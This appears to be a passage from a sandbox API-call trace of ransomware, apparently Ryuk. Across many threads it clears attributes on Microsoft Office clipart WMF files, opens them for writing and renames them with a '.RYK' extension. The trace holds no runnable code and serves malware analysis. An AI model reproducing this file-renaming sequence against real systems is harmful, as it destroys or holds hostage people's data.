	[0239.368] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1972
	os_tid = 0x2474

	[0239.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF", dwFileAttributes=0x80) returned 0
	[0239.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.541] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.541] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1973
	os_tid = 0x2478

	[0239.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF", dwFileAttributes=0x80) returned 0
	[0239.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.538] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.538] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1974
	os_tid = 0x247c

	[0239.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF", dwFileAttributes=0x80) returned 0
	[0239.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.536] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.536] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1975
	os_tid = 0x2480

	[0239.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF", dwFileAttributes=0x80) returned 0
	[0239.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.534] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.534] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1976
	os_tid = 0x2484

	[0239.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF", dwFileAttributes=0x80) returned 0
	[0239.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.532] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.533] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1977
	os_tid = 0x2488

	[0239.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF", dwFileAttributes=0x80) returned 0
	[0239.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.531] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.531] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1978
	os_tid = 0x248c

	[0239.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF", dwFileAttributes=0x80) returned 0
	[0239.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.529] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.529] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1979
	os_tid = 0x2490

	[0239.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF", dwFileAttributes=0x80) returned 0
	[0239.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.528] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.528] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1980
	os_tid = 0x2494

	[0239.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF", dwFileAttributes=0x80) returned 0
	[0239.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.526] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.527] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1981
	os_tid = 0x2498

	[0239.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF", dwFileAttributes=0x80) returned 0
	[0239.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.524] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.524] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1982
	os_tid = 0x249c

	[0239.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF", dwFileAttributes=0x80) returned 0
	[0239.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.523] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.523] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1983
	os_tid = 0x24a0

	[0239.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF", dwFileAttributes=0x80) returned 0
	[0239.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.521] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.521] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1984
	os_tid = 0x24a4

	[0239.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF", dwFileAttributes=0x80) returned 0
	[0239.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.520] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.520] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1985
	os_tid = 0x24a8

	[0239.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF", dwFileAttributes=0x80) returned 0
	[0239.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.518] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.518] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1986
	os_tid = 0x24ac

	[0239.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF", dwFileAttributes=0x80) returned 0
	[0239.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.516] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.516] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1987
	os_tid = 0x24b0

	[0239.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF", dwFileAttributes=0x80) returned 0
	[0239.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.515] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.515] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1988
	os_tid = 0x24b4

	[0239.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF", dwFileAttributes=0x80) returned 0
	[0239.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.513] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.513] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1989
	os_tid = 0x24b8

	[0239.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF", dwFileAttributes=0x80) returned 0
	[0239.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.594] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.594] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1990
	os_tid = 0x24bc

	[0239.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF", dwFileAttributes=0x80) returned 0
	[0239.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.511] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.511] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1991
	os_tid = 0x24c0

	[0239.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF", dwFileAttributes=0x80) returned 0
	[0239.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.654] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.654] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1992
	os_tid = 0x24c4

	[0239.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF", dwFileAttributes=0x80) returned 0
	[0239.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.656] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.656] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1993
	os_tid = 0x24c8

	[0239.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF", dwFileAttributes=0x80) returned 0
	[0239.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.657] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.657] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1994
	os_tid = 0x24cc

	[0239.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF", dwFileAttributes=0x80) returned 0
	[0239.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.728] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.728] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1995
	os_tid = 0x24d0

	[0239.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF", dwFileAttributes=0x80) returned 0
	[0239.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.727] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.727] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1996
	os_tid = 0x24d4

	[0239.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF", dwFileAttributes=0x80) returned 0
	[0239.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.725] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.726] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1997
	os_tid = 0x24d8

	[0239.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF", dwFileAttributes=0x80) returned 0
	[0239.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.724] CloseHandle (hObject=0xffffffffffffffff) returned 0
